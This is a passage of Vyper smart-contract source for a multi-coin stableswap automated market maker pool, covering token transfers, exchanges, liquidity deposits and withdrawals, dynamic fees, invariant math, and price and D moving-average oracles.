NAME_HASH, VERSION_HASH, chain.id, self, salt, ) ) # ------------------------ Fire a transfer event ------------------------- log Transfer(empty(address), msg.sender, 0) # ------------------ Token transfers in and out of the AMM ------------------- @internal def _transfer_in( coin_idx: int128, dx: uint256, sender: address, expect_optimistic_transfer: bool, ) -> uint256: """ @notice Contains all logic to handle ERC20 token transfers. @param coin_idx Index of the coin to transfer in. @param dx amount of `_coin` to transfer into the pool. @param sender address to transfer `_coin` from. @param receiver address to transfer `_coin` to. @param expect_optimistic_transfer True if contract expects an optimistic coin transfer """ _dx: uint256 = ERC20(coins[coin_idx]).balanceOf(self) # ------------------------- Handle Transfers ----------------------------- if expect_optimistic_transfer: _dx = _dx - self.stored_balances[coin_idx] assert _dx >= dx else: assert dx > 0 # dev : do not transferFrom 0 tokens into the pool assert ERC20(coins[coin_idx]).transferFrom( sender, self, dx, default_return_value=True ) _dx = ERC20(coins[coin_idx]).balanceOf(self) - _dx # --------------------------- Store transferred in amount --------------------------- self.stored_balances[coin_idx] += _dx return _dx @internal def _transfer_out(_coin_idx: int128, _amount: uint256, receiver: address): """ @notice Transfer a single token from the pool to receiver. @dev This function is called by `remove_liquidity` and `remove_liquidity_one_coin`, `_exchange`, `_withdraw_admin_fees` and `remove_liquidity_imbalance` methods. @param _coin_idx Index of the token to transfer out @param _amount Amount of token to transfer out @param receiver Address to send the tokens to """ assert receiver != empty(address) # dev: do not send tokens to zero_address if not pool_contains_rebasing_tokens: # we need not cache balanceOf pool before swap out self.stored_balances[_coin_idx] -= _amount assert ERC20(coins[_coin_idx]).transfer( receiver, _amount, default_return_value=True ) else: # cache balances pre and post to account for fee on transfers etc. coin_balance: uint256 = ERC20(coins[_coin_idx]).balanceOf(self) assert ERC20(coins[_coin_idx]).transfer( receiver, _amount, default_return_value=True ) self.stored_balances[_coin_idx] = coin_balance - _amount # -------------------------- AMM Special Methods ----------------------------- @view @internal def _stored_rates() -> DynArray[uint256, MAX_COINS]: """ @notice Gets rate multipliers for each coin. @dev If the coin has a rate oracle that has been properly initialised, this method queries that rate by static-calling an external contract. """ rates: DynArray[uint256, MAX_COINS] = rate_multipliers for i in range(N_COINS_128, bound=MAX_COINS_128): if asset_types[i] == 1 and not rate_oracles[i] == 0: # NOTE: fetched_rate is assumed to be 10**18 precision oracle_response: Bytes[32] = raw_call( convert(rate_oracles[i] % 2**160, address), _abi_encode(rate_oracles[i] & ORACLE_BIT_MASK), max_outsize=32, is_static_call=True, ) assert len(oracle_response) == 32 fetched_rate: uint256 = convert(oracle_response, uint256) rates[i] = unsafe_div(rates[i] * fetched_rate, PRECISION) elif asset_types[i] == 3: # ERC4626 # fetched_rate: uint256 = ERC4626(coins[i]).convertToAssets(call_amount[i]) * scale_factor[i] # here: call_amount has ERC4626 precision, but the returned value is scaled up to 18 # using scale_factor which is (18 - n) if underlying asset has n decimals. rates[i] = unsafe_div( rates[i] * ERC4626(coins[i]).convertToAssets(call_amount[i]) * scale_factor[i], PRECISION ) # 1e18 precision return rates @view @internal def _balances() -> DynArray[uint256, MAX_COINS]: """ @notice Calculates the pool's balances _excluding_ the admin's balances. @dev If the pool contains rebasing tokens, this method ensures LPs keep all rebases and admin only claims swap fees. This also means that, since admin's balances are stored in an array and not inferred from read balances, the fees in the rebasing token that the admin collects is immune to slashing events. """ result: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) balances_i: uint256 = 0 for i in range(N_COINS_128, bound=MAX_COINS_128): if pool_contains_rebasing_tokens: # Read balances by gulping to account for rebases balances_i = ERC20(coins[i]).balanceOf(self) - self.admin_balances[i] else: # Use cached balances balances_i = self.stored_balances[i] - self.admin_balances[i] result.append(balances_i) return result # -------------------------- AMM Main Functions ------------------------------ @external @nonreentrant('lock') def exchange( i: int128, j: int128, _dx: uint256, _min_dy: uint256, _receiver: address = msg.sender, ) -> uint256: """ @notice Perform an exchange between two coins @dev Index values can be found via the `coins` public getter method @param i Index value for the coin to send @param j Index value of the coin to receive @param _dx Amount of `i` being exchanged @param _min_dy Minimum amount of `j` to receive @param _receiver Address that receives `j` @return Actual amount of `j` received """ return self._exchange( msg.sender, i, j, _dx, _min_dy, _receiver, False ) @external @nonreentrant('lock') def exchange_received( i: int128, j: int128, _dx: uint256, _min_dy: uint256, _receiver: address = msg.sender, ) -> uint256: """ @notice Perform an exchange between two coins without transferring token in @dev The contract swaps tokens based on a change in balance of coin[i]. The dx = ERC20(coin[i]).balanceOf(self) - self.stored_balances[i]. Users of this method are dex aggregators, arbitrageurs, or other users who do not wish to grant approvals to the contract: they would instead send tokens directly to the contract and call `exchange_received`. Note: This is disabled if pool contains rebasing tokens. @param i Index value for the coin to send @param j Index value of the coin to receive @param _dx Amount of `i` being exchanged @param _min_dy Minimum amount of `j` to receive @param _receiver Address that receives `j` @return Actual amount of `j` received """ assert not pool_contains_rebasing_tokens # dev: exchange_received not supported if pool contains rebasing tokens return self._exchange( msg.sender, i, j, _dx, _min_dy, _receiver, True, # <--------------------------------------- swap optimistically. ) @external @nonreentrant('lock') def add_liquidity( _amounts: DynArray[uint256, MAX_COINS], _min_mint_amount: uint256, _receiver: address = msg.sender ) -> uint256: """ @notice Deposit coins into the pool @param _amounts List of amounts of coins to deposit @param _min_mint_amount Minimum amount of LP tokens to mint from the deposit @param _receiver Address that owns the minted LP tokens @return Amount of LP tokens received by depositing """ assert _receiver != empty(address) # dev: do not send LP tokens to zero_address amp: uint256 = self._A() old_balances: DynArray[uint256, MAX_COINS] = self._balances() rates: DynArray[uint256, MAX_COINS] = self._stored_rates() # Initial invariant D0: uint256 = self.get_D_mem(rates, old_balances, amp) total_supply: uint256 = self.total_supply new_balances: DynArray[uint256, MAX_COINS] = old_balances # -------------------------- Do Transfers In ----------------------------- for i in range(N_COINS_128, bound=MAX_COINS_128): if _amounts[i] > 0: new_balances[i] += self._transfer_in( i, _amounts[i], msg.sender, False, # expect_optimistic_transfer ) else: assert total_supply != 0 # dev: initial deposit requires all coins # ------------------------------------------------------------------------ # Invariant after change D1: uint256 = self.get_D_mem(rates, new_balances, amp) assert D1 > D0 # We need to recalculate the invariant accounting for fees # to calculate fair user's share fees: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) mint_amount: uint256 = 0 if total_supply > 0: ideal_balance: uint256 = 0 difference: uint256 = 0 new_balance: uint256 = 0 ys: uint256 = unsafe_div(D0 + D1, N_COINS) xs: uint256 = 0 _dynamic_fee_i: uint256 = 0 # Only account for fees if we are not the first to deposit base_fee: uint256 = unsafe_div( unsafe_mul(self.fee, N_COINS), unsafe_mul(4, unsafe_sub(N_COINS, 1)) ) for i in range(N_COINS_128, bound=MAX_COINS_128): ideal_balance = D1 * old_balances[i] / D0 difference = 0 new_balance = new_balances[i] if ideal_balance > new_balance: difference = unsafe_sub(ideal_balance, new_balance) else: difference = unsafe_sub(new_balance, ideal_balance) # fee[i] = _dynamic_fee(i, j) * difference / FEE_DENOMINATOR xs = unsafe_div(rates[i] * (old_balances[i] + new_balance), PRECISION) _dynamic_fee_i = self._dynamic_fee(xs, ys, base_fee) fees.append(unsafe_div(_dynamic_fee_i * difference, FEE_DENOMINATOR)) self.admin_balances[i] += unsafe_div(fees[i] * admin_fee, FEE_DENOMINATOR) new_balances[i] -= fees[i] xp: DynArray[uint256, MAX_COINS] = self._xp_mem(rates, new_balances) D1 = self.get_D(xp, amp) # <--------------- Reuse D1 for new D value. mint_amount = unsafe_div(total_supply * (D1 - D0), D0) self.upkeep_oracles(xp, amp, D1) else: mint_amount = D1 # Take the dust if there was any # (re)instantiate D oracle if totalSupply is zero. self.last_D_packed = self.pack_2(D1, D1) # Update D ma time: ma_last_time_unpacked: uint256[2] = self.unpack_2(self.ma_last_time) if ma_last_time_unpacked[1] < block.timestamp: ma_last_time_unpacked[1] = block.timestamp self.ma_last_time = self.pack_2(ma_last_time_unpacked[0], ma_last_time_unpacked[1]) assert mint_amount >= _min_mint_amount, "Slippage screwed you" # Mint pool tokens total_supply += mint_amount self.balanceOf[_receiver] += mint_amount self.total_supply = total_supply log Transfer(empty(address), _receiver, mint_amount) log AddLiquidity(msg.sender, _amounts, fees, D1, total_supply) return mint_amount @external @nonreentrant('lock') def remove_liquidity_one_coin( _burn_amount: uint256, i: int128, _min_received: uint256, _receiver: address = msg.sender, ) -> uint256: """ @notice Withdraw a single coin from the pool @param _burn_amount Amount of LP tokens to burn in the withdrawal @param i Index value of the coin to withdraw @param _min_received Minimum amount of coin to receive @param _receiver Address that receives the withdrawn coins @return Amount of coin received """ assert _burn_amount > 0 # dev: do not remove 0 LP tokens dy: uint256 = 0 fee: uint256 = 0 xp: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) amp: uint256 = empty(uint256) D: uint256 = empty(uint256) dy, fee, xp, amp, D = self._calc_withdraw_one_coin(_burn_amount, i) assert dy >= _min_received, "Not enough coins removed" self.admin_balances[i] += unsafe_div(fee * admin_fee, FEE_DENOMINATOR) self._burnFrom(msg.sender, _burn_amount) self._transfer_out(i, dy, _receiver) log RemoveLiquidityOne(msg.sender, i, _burn_amount, dy, self.total_supply) self.upkeep_oracles(xp, amp, D) return dy @external @nonreentrant('lock') def remove_liquidity_imbalance( _amounts: DynArray[uint256, MAX_COINS], _max_burn_amount: uint256, _receiver: address = msg.sender ) -> uint256: """ @notice Withdraw coins from the pool in an imbalanced amount @param _amounts List of amounts of underlying coins to withdraw @param _max_burn_amount Maximum amount of LP token to burn in the withdrawal @param _receiver Address that receives the withdrawn coins @return Actual amount of the LP token burned in the withdrawal """ amp: uint256 = self._A() rates: DynArray[uint256, MAX_COINS] = self._stored_rates() old_balances: DynArray[uint256, MAX_COINS] = self._balances() D0: uint256 = self.get_D_mem(rates, old_balances, amp) new_balances: DynArray[uint256, MAX_COINS] = old_balances for i in range(N_COINS_128, bound=MAX_COINS_128): if _amounts[i] != 0: new_balances[i] -= _amounts[i] self._transfer_out(i, _amounts[i], _receiver) D1: uint256 = self.get_D_mem(rates, new_balances, amp) base_fee: uint256 = unsafe_div( unsafe_mul(self.fee, N_COINS), unsafe_mul(4, unsafe_sub(N_COINS, 1)) ) ys: uint256 = unsafe_div((D0 + D1), N_COINS) fees: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) dynamic_fee: uint256 = 0 xs: uint256 = 0 ideal_balance: uint256 = 0 difference: uint256 = 0 new_balance: uint256 = 0 for i in range(N_COINS_128, bound=MAX_COINS_128): ideal_balance = D1 * old_balances[i] / D0 difference = 0 new_balance = new_balances[i] if ideal_balance > new_balance: difference = unsafe_sub(ideal_balance, new_balance) else: difference = unsafe_sub(new_balance, ideal_balance) xs = unsafe_div(rates[i] * (old_balances[i] + new_balance), PRECISION) dynamic_fee = self._dynamic_fee(xs, ys, base_fee) fees.append(unsafe_div(dynamic_fee * difference, FEE_DENOMINATOR)) self.admin_balances[i] += unsafe_div(fees[i] * admin_fee, FEE_DENOMINATOR) new_balances[i] -= fees[i] D1 = self.get_D_mem(rates, new_balances, amp) # dev: reuse D1 for new D. self.upkeep_oracles(self._xp_mem(rates, new_balances), amp, D1) total_supply: uint256 = self.total_supply burn_amount: uint256 = unsafe_div((D0 - D1) * total_supply, D0) + 1 assert burn_amount > 1 # dev: zero tokens burned assert burn_amount <= _max_burn_amount, "Slippage screwed you" self._burnFrom(msg.sender, burn_amount) log RemoveLiquidityImbalance( msg.sender, _amounts, fees, D1, total_supply - burn_amount ) return burn_amount @external @nonreentrant('lock') def remove_liquidity( _burn_amount: uint256, _min_amounts: DynArray[uint256, MAX_COINS], _receiver: address = msg.sender, _claim_admin_fees: bool = True, ) -> DynArray[uint256, MAX_COINS]: """ @notice Withdraw coins from the pool @dev Withdrawal amounts are based on current deposit ratios @param _burn_amount Quantity of LP tokens to burn in the withdrawal @param _min_amounts Minimum amounts of underlying coins to receive @param _receiver Address that receives the withdrawn coins @return List of amounts of coins that were withdrawn """ total_supply: uint256 = self.total_supply assert _burn_amount > 0 # dev: invalid burn amount assert len(_min_amounts) == N_COINS # dev: invalid array length for _min_amounts amounts: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) balances: DynArray[uint256, MAX_COINS] = self._balances() value: uint256 = 0 for i in range(N_COINS_128, bound=MAX_COINS_128): value = unsafe_div(balances[i] * _burn_amount, total_supply) assert value >= _min_amounts[i], "Withdrawal resulted in fewer coins than expected" amounts.append(value) self._transfer_out(i, value, _receiver) self._burnFrom(msg.sender, _burn_amount) # <---- Updates self.total_supply # --------------------------- Upkeep D_oracle ---------------------------- ma_last_time_unpacked: uint256[2] = self.unpack_2(self.ma_last_time) last_D_packed_current: uint256 = self.last_D_packed old_D: uint256 = last_D_packed_current & (2**128 - 1) self.last_D_packed = self.pack_2( old_D - unsafe_div(old_D * _burn_amount, total_supply), # new_D = proportionally reduce D. self._calc_moving_average( last_D_packed_current, self.D_ma_time, ma_last_time_unpacked[1] ) ) if ma_last_time_unpacked[1] < block.timestamp: ma_last_time_unpacked[1] = block.timestamp self.ma_last_time = self.pack_2(ma_last_time_unpacked[0], ma_last_time_unpacked[1]) # ------------------------------- Log event ------------------------------ log RemoveLiquidity( msg.sender, amounts, empty(DynArray[uint256, MAX_COINS]), unsafe_sub(total_supply, _burn_amount) ) # ------- Withdraw admin fees if _claim_admin_fees is set to True -------- if _claim_admin_fees: self._withdraw_admin_fees() return amounts @external @nonreentrant('lock') def withdraw_admin_fees(): """ @notice Claim admin fees. Callable by anyone. """ self._withdraw_admin_fees() # ------------------------ AMM Internal Functions ---------------------------- @view @internal def _dynamic_fee(xpi: uint256, xpj: uint256, _fee: uint256) -> uint256: _offpeg_fee_multiplier: uint256 = self.offpeg_fee_multiplier if _offpeg_fee_multiplier <= FEE_DENOMINATOR: return _fee xps2: uint256 = (xpi + xpj) ** 2 return unsafe_div( unsafe_mul(_offpeg_fee_multiplier, _fee), unsafe_add( unsafe_sub(_offpeg_fee_multiplier, FEE_DENOMINATOR) * 4 * xpi * xpj / xps2, FEE_DENOMINATOR ) ) @internal def __exchange( x: uint256, _xp: DynArray[uint256, MAX_COINS], rates: DynArray[uint256, MAX_COINS], i: int128, j: int128, ) -> uint256: amp: uint256 = self._A() D: uint256 = self.get_D(_xp, amp) y: uint256 = self.get_y(i, j, x, _xp, amp, D) dy: uint256 = _xp[j] - y - 1 # -1 just in case there were some rounding errors dy_fee: uint256 = unsafe_div( dy * self._dynamic_fee( unsafe_div(_xp[i] + x, 2), unsafe_div(_xp[j] + y, 2), self.fee ), FEE_DENOMINATOR ) # Convert all to real units dy = (dy - dy_fee) * PRECISION / rates[j] self.admin_balances[j] += unsafe_div( unsafe_div(dy_fee * admin_fee, FEE_DENOMINATOR) * PRECISION, rates[j] ) # Calculate and store state prices: xp: DynArray[uint256, MAX_COINS] = _xp xp[i] = x xp[j] = y # D is not changed because we did not apply a fee self.upkeep_oracles(xp, amp, D) return dy @internal def _exchange( sender: address, i: int128, j: int128, _dx: uint256, _min_dy: uint256, receiver: address, expect_optimistic_transfer: bool ) -> uint256: assert i != j # dev: coin index out of range assert _dx > 0 # dev: do not exchange 0 coins rates: DynArray[uint256, MAX_COINS] = self._stored_rates() old_balances: DynArray[uint256, MAX_COINS] = self._balances() xp: DynArray[uint256, MAX_COINS] = self._xp_mem(rates, old_balances) # --------------------------- Do Transfer in ----------------------------- # `dx` is whatever the pool received after ERC20 transfer: dx: uint256 = self._transfer_in( i, _dx, sender, expect_optimistic_transfer ) # ------------------------------- Exchange ------------------------------- x: uint256 = xp[i] + unsafe_div(dx * rates[i], PRECISION) dy: uint256 = self.__exchange(x, xp, rates, i, j) assert dy >= _min_dy, "Exchange resulted in fewer coins than expected" # --------------------------- Do Transfer out ---------------------------- self._transfer_out(j, dy, receiver) # ------------------------------------------------------------------------ log TokenExchange(msg.sender, i, dx, j, dy) return dy @internal def _withdraw_admin_fees(): fee_receiver: address = factory.fee_receiver() if fee_receiver == empty(address): return # Do nothing. admin_balances: DynArray[uint256, MAX_COINS] = self.admin_balances for i in range(N_COINS_128, bound=MAX_COINS_128): if admin_balances[i] > 0: self._transfer_out(i, admin_balances[i], fee_receiver) admin_balances[i] = 0 self.admin_balances = admin_balances # --------------------------- AMM Math Functions ----------------------------- @view @internal def get_y( i: int128, j: int128, x: uint256, xp: DynArray[uint256, MAX_COINS], _amp: uint256, _D: uint256 ) -> uint256: """ Calculate x[j] if one makes x[i] = x Done by solving quadratic equation iteratively. x_1**2 + x_1 * (sum' - (A*n**n - 1) * D / (A * n**n)) = D ** (n + 1) / (n ** (2 * n) * prod' * A) x_1**2 + b*x_1 = c x_1 = (x_1**2 + c) / (2*x_1 + b) """ # x in the input is converted to the same price/precision assert i != j # dev: same coin assert j >= 0 # dev: j below zero assert j < N_COINS_128 # dev: j above N_COINS # should be unreachable, but good for safety assert i >= 0 assert i < N_COINS_128 amp: uint256 = _amp D: uint256 = _D S_: uint256 = 0 _x: uint256 = 0 y_prev: uint256 = 0 c: uint256 = D Ann: uint256 = amp * N_COINS for _i in range(MAX_COINS_128): if _i == N_COINS_128: break if _i == i: _x = x elif _i != j: _x = xp[_i] else: continue S_ += _x c = c * D / (_x * N_COINS) c = c * D * A_PRECISION / (Ann * N_COINS) b: uint256 = S_ + D * A_PRECISION / Ann # - D y: uint256 = D for _i in range(255): y_prev = y y = (y*y + c) / (2 * y + b - D) # Equality with the precision of 1 if y > y_prev: if y - y_prev <= 1: return y else: if y_prev - y <= 1: return y raise @pure @internal def get_D(_xp: DynArray[uint256, MAX_COINS], _amp: uint256) -> uint256: """ D invariant calculation in non-overflowing integer operations iteratively A * sum(x_i) * n**n + D = A * D * n**n + D**(n+1) / (n**n * prod(x_i)) Converging solution: D[j+1] = (A * n**n * sum(x_i) - D[j]**(n+1) / (n**n prod(x_i))) / (A * n**n - 1) """ S: uint256 = 0 for x in _xp: S += x if S == 0: return 0 D: uint256 = S Ann: uint256 = _amp * N_COINS for i in range(255): D_P: uint256 = D for x in _xp: D_P = D_P * D / x D_P /= pow_mod256(N_COINS, N_COINS) Dprev: uint256 = D # (Ann * S / A_PRECISION + D_P * N_COINS) * D / ((Ann - A_PRECISION) * D / A_PRECISION + (N_COINS + 1) * D_P) D = ( (unsafe_div(Ann * S, A_PRECISION) + D_P * N_COINS) * D / ( unsafe_div((Ann - A_PRECISION) * D, A_PRECISION) + unsafe_add(N_COINS, 1) * D_P ) ) # Equality with the precision of 1 if D > Dprev: if D - Dprev <= 1: return D else: if Dprev - D <= 1: return D # convergence typically occurs in 4 rounds or less, this should be unreachable! # if it does happen the pool is borked and LPs can withdraw via `remove_liquidity` raise @pure @internal def get_y_D( A: uint256, i: int128, xp: DynArray[uint256, MAX_COINS], D: uint256 ) -> uint256: """ Calculate x[i] if one reduces D from being calculated for xp to D Done by solving quadratic equation iteratively. x_1**2 + x_1 * (sum' - (A*n**n - 1) * D / (A * n**n)) = D ** (n + 1) / (n ** (2 * n) * prod' * A) x_1**2 + b*x_1 = c x_1 = (x_1**2 + c) / (2*x_1 + b) """ # x in the input is converted to the same price/precision assert i >= 0 # dev: i below zero assert i < N_COINS_128 # dev: i above N_COINS S_: uint256 = 0 _x: uint256 = 0 y_prev: uint256 = 0 c: uint256 = D Ann: uint256 = A * N_COINS for _i in range(MAX_COINS_128): if _i == N_COINS_128: break if _i != i: _x = xp[_i] else: continue S_ += _x c = c * D / (_x * N_COINS) c = c * D * A_PRECISION / (Ann * N_COINS) b: uint256 = S_ + D * A_PRECISION / Ann y: uint256 = D for _i in range(255): y_prev = y y = (y*y + c) / (2 * y + b - D) # Equality with the precision of 1 if y > y_prev: if y - y_prev <= 1: return y else: if y_prev - y <= 1: return y raise @view @internal def _A() -> uint256: """ Handle ramping A up or down """ t1: uint256 = self.future_A_time A1: uint256 = self.future_A if block.timestamp < t1: A0: uint256 = self.initial_A t0: uint256 = self.initial_A_time # Expressions in uint256 cannot have negative numbers, thus "if" if A1 > A0: return A0 + unsafe_sub(A1, A0) * (block.timestamp - t0) / (t1 - t0) else: return A0 - unsafe_sub(A0, A1) * (block.timestamp - t0) / (t1 - t0) else: # when t1 == 0 or block.timestamp >= t1 return A1 @pure @internal def _xp_mem( _rates: DynArray[uint256, MAX_COINS], _balances: DynArray[uint256, MAX_COINS] ) -> DynArray[uint256, MAX_COINS]: result: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) for i in range(N_COINS_128, bound=MAX_COINS_128): result.append(unsafe_div(_rates[i] * _balances[i], PRECISION)) return result @view @internal def get_D_mem( _rates: DynArray[uint256, MAX_COINS], _balances: DynArray[uint256, MAX_COINS], _amp: uint256 ) -> uint256: xp: DynArray[uint256, MAX_COINS] = self._xp_mem(_rates, _balances) return self.get_D(xp, _amp) @view @internal def _calc_withdraw_one_coin( _burn_amount: uint256, i: int128 ) -> ( uint256, uint256, DynArray[uint256, MAX_COINS], uint256, uint256 ): # First, need to calculate # * Get current D # * Solve Eqn against y_i for D - _token_amount amp: uint256 = self._A() rates: DynArray[uint256, MAX_COINS] = self._stored_rates() xp: DynArray[uint256, MAX_COINS] = self._xp_mem(rates, self._balances()) D0: uint256 = self.get_D(xp, amp) total_supply: uint256 = self.total_supply D1: uint256 = D0 - _burn_amount * D0 / total_supply new_y: uint256 = self.get_y_D(amp, i, xp, D1) base_fee: uint256 = unsafe_div( unsafe_mul(self.fee, N_COINS), unsafe_mul(4, unsafe_sub(N_COINS, 1)) ) xp_reduced: DynArray[uint256, MAX_COINS] = xp ys: uint256 = unsafe_div((D0 + D1), unsafe_mul(2, N_COINS)) dx_expected: uint256 = 0 xp_j: uint256 = 0 xavg: uint256 = 0 dynamic_fee: uint256 = 0 for j in range(MAX_COINS_128): if j == N_COINS_128: break dx_expected = 0 xp_j = xp[j] if j == i: dx_expected = xp_j * D1 / D0 - new_y xavg = unsafe_div((xp_j + new_y), 2) else: dx_expected = xp_j - xp_j * D1 / D0 xavg = xp_j dynamic_fee = self._dynamic_fee(xavg, ys, base_fee) xp_reduced[j] = xp_j - unsafe_div(dynamic_fee * dx_expected, FEE_DENOMINATOR) dy: uint256 = xp_reduced[i] - self.get_y_D(amp, i, xp_reduced, D1) dy_0: uint256 = (xp[i] - new_y) * PRECISION / rates[i] # w/o fees dy = unsafe_div((dy - 1) * PRECISION, rates[i]) # Withdraw less to account for rounding errors # update xp with new_y for p calculations. xp[i] = new_y return dy, dy_0 - dy, xp, amp, D1 # -------------------------- AMM Price Methods ------------------------------- @pure @internal def pack_2(p1: uint256, p2: uint256) -> uint256: assert p1 < 2**128 assert p2 < 2**128 return p1 | (p2 << 128) @pure @internal def unpack_2(packed: uint256) -> uint256[2]: return [packed & (2**128 - 1), packed >> 128] @internal @pure def _get_p( xp: DynArray[uint256, MAX_COINS], amp: uint256, D: uint256, ) -> DynArray[uint256, MAX_COINS]: # dx_0 / dx_1 only, however can have any number of coins in pool ANN: uint256 = unsafe_mul(amp, N_COINS) Dr: uint256 = unsafe_div(D, pow_mod256(N_COINS, N_COINS)) for i in range(N_COINS_128, bound=MAX_COINS_128): Dr = Dr * D / xp[i] p: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) xp0_A: uint256 = unsafe_div(ANN * xp[0], A_PRECISION) for i in range(1, MAX_COINS): if i == N_COINS: break p.append(10**18 * (xp0_A + unsafe_div(Dr * xp[0], xp[i])) / (xp0_A + Dr)) return p @internal def upkeep_oracles(xp: DynArray[uint256, MAX_COINS], amp: uint256, D: uint256): """ @notice Upkeeps price and D oracles. """ ma_last_time_unpacked: uint256[2] = self.unpack_2(self.ma_last_time) last_prices_packed_current: DynArray[uint256, MAX_COINS] = self.last_prices_packed last_prices_packed_new: DynArray[uint256, MAX_COINS] = last_prices_packed_current spot_price: DynArray[uint256, MAX_COINS] = self._get_p(xp, amp, D) # -------------------------- Upkeep price oracle ------------------------- for i in range(MAX_COINS): if i == N_COINS - 1: break if spot_price[i] != 0: # Update packed prices ----------------- last_prices_packed_new[i] = self.pack_2( min(spot_price[i], 2 * 10**18), # <----- Cap spot value by 2. self._calc_moving_average( last_prices_packed_current[i], self.ma_exp_time, ma_last_time_unpacked[0], # index 0 is ma_last_time for prices ) ) self.last_prices_packed = last_prices_packed_new # ---------------------------- Upkeep D oracle --------------------------- last_D_packed_current: uint256 = self.last_D_packed self.last_D_packed = self.pack_2( D, self._calc_moving_average( last_D_packed_current, self.D_ma_time, ma_last_time_unpacked[1], # index 1 is ma_last_time for D ) ) # Housekeeping: Update ma_last_time for p and D oracles ------------------ for i in range(2): if ma_last_time_unpacked[i] < block.timestamp: ma_last_time_unpacked[i] = block.timestamp self.ma_last_time = self.pack_2(ma_last_time_unpacked[0], ma_last_time_unpacked[1]) @internal @view def _calc_moving_average( packed_value: uint256, averaging_window: uint256, ma_last_time: uint256 ) -> uint256: last_spot_value: uint256 = packed_value & (2**128 - 1) last_ema_value: uint256 = (packed_value >> 128) if ma_last_time < block.timestamp: # calculate new_ema_value and return that. alpha: uint256 = self.exp( -convert( unsafe_div(unsafe_mul(unsafe_sub(block.timestamp, ma_last_time), 10**18), averaging_window), int256 ) ) return unsafe_div(last_spot_value * (10**18 - alpha) + last_ema_value * alpha, 10**18) return last_ema_value @view @external def last_price(i: uint256) -> uint256: return self.last_prices_packed[i] & (2**128 - 1) @view @external def ema_price(i: uint256) -> uint256: return (self.last_prices_packed[i] >> 128) @external @view def get_p(i: uint256) -> uint256: """ @notice Returns the AMM State price of token @dev if i = 0, it will return the state price of coin[1]. @param i index of state price (0 for coin[1], 1 for coin[2], ...) @return uint256 The state price quoted by the AMM for coin[i+1] """ amp: uint256 = self._A() xp: DynArray[uint256, MAX_COINS] = self._xp_mem( self._stored_rates(), self._balances() ) D: uint256 = self.get_D(xp, amp) return self._get_p(xp, amp, D)[i] @external @view @nonreentrant('lock') def price_oracle(i: uint256) -> uint256: return self._calc_moving_average( self.last_prices_packed[i], self.ma_exp_time, self.ma_last_time & (2**128 - 1) ) @external @view @nonreentrant('lock') def D_oracle() -> uint256: return self._calc_moving_average( self.last_D_packed, self.D_ma_time, self.ma_last_time >> 128 ) # ----------------------------- Math Utils ----------------------------------- @internal @pure def exp(x: int256) -> uint256: """ @dev Calculates the natural exponential function of a signed integer with a precision of 1e18. @notice Note that this function consumes about 810 gas units. The implementation is inspired by Remco Bloemen's implementation under the MIT license here: https://xn--2-umb.com/22/exp-ln. @dev This implementation is derived from Snekmate, which is authored by pcaversaccio (Snekmate), distributed under the AGPL-3.0 license. https://github.com/pcaversaccio/snekmate @param x The 32-byte variable. @return int256 The 32-byte calculation result. """ value: int256 = x # If the result is `< 0.5`, we return zero. This happens when we have the following: # "x <= floor(log(0.5e18) * 1e18) ~ -42e18". if (x <= -41446531673892822313): return empty(uint256) # When the result is "> (2 ** 255 - 1) / 1e18" we cannot represent it as a signed integer. # This happens when "x >= floor(log((2 ** 255 - 1) / 1e18) * 1e18) ~ 135". assert x < 135305999368893231589, "wad_exp overflow" # `x` is now in the range "(-42, 136) * 1e18". Convert to "(-42, 136) * 2 ** 96" for higher # intermediate precision and a binary base. This base conversion is a multiplication with # "1e18 / 2 ** 96 = 5 ** 18 / 2 ** 78". value = unsafe_div(x << 78, 5 ** 18) # Reduce the range of `x` to "(-½ ln 2, ½ ln 2) * 2 ** 96" by factoring out powers of two # so that "exp(x) = exp(x') * 2 ** k", where `k` is a signer integer. Solving this gives # "k = round(x / log(2))" and "x' = x - k * log(2)". Thus, `k` is in the range "[-61, 195]". k: int256 = unsafe_add(unsafe_div(value << 96, 54916777467707473351141471128), 2 ** 95) >> 96 value = unsafe_sub(value, unsafe_mul(k, 54916777467707473351141471128)) # Evaluate using a "(6, 7)"-term rational approximation. Since `p` is monic, # we will multiply by a scaling factor later. y: int256 = unsafe_add(unsafe_mul(unsafe_add(value, 1346386616545796478920950773328), value) >> 96, 57155421227552351082224309758442) p: int256 = unsafe_add(unsafe_mul(unsafe_add(unsafe_mul(unsafe_sub(unsafe_add(y, value), 94201549194550492254356042504812), y) >> 96,\ 28719021644029726153956944680412240), value), 4385272521454847904659076985693276 << 96) # We leave `p` in the "2 ** 192" base so that we do not have to scale it up # again for the division. q: int256 = unsafe_add(unsafe_mul(unsafe_sub(value, 2855989394907223263936484059900), value) >> 96, 50020603652535783019961831881945) q = unsafe_sub(unsafe_mul(q, value) >> 96, 533845033583426703283633433725380) q = unsafe_add(unsafe_mul(q, value) >> 96, 3604857256930695427073651918091429) q = unsafe_sub(unsafe_mul(q, value) >> 96, 14423608567350463180887372962807573) q = unsafe_add(unsafe_mul(q, value) >> 96, 26449188498355588339934803723976023) # The polynomial `q` has no zeros in the range because all its roots are complex. # No scaling is required, as `p` is already "2 ** 96" too large. Also, # `r` is in the range "(0.09, 0.25) * 2**96" after the division. r: int256 = unsafe_div(p, q) # To finalise the calculation, we have to multiply `r` by: # - the scale factor "s = ~6.031367120", # - the factor "2 ** k" from the range reduction, and # - the factor "1e18 / 2 ** 96" for the base conversion. # We do this all at once, with an intermediate result in "2**213" base, # so that the final right shift always gives a positive value. # Note that to circumvent Vyper's safecast feature for the potentially # negative parameter value `r`, we first convert `r` to `bytes32` and # subsequently to `uint256`. Remember that the EVM default behaviour is # to use two's complement representation to handle signed integers. return unsafe_mul(convert(convert(r, bytes32), uint256), 3822833074963236453042738258902158003155416615667) >> convert(unsafe_sub(195, k), uint256) # ---------------------------- ERC20 Utils ----------------------------------- @view @internal def _domain_separator() -> bytes32: if chain.id != CACHED_CHAIN_ID: return keccak256( _abi_encode( EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, chain.id, self, salt, ) ) return CACHED_DOMAIN_SEPARATOR @internal def _transfer(_from: address, _to: address, 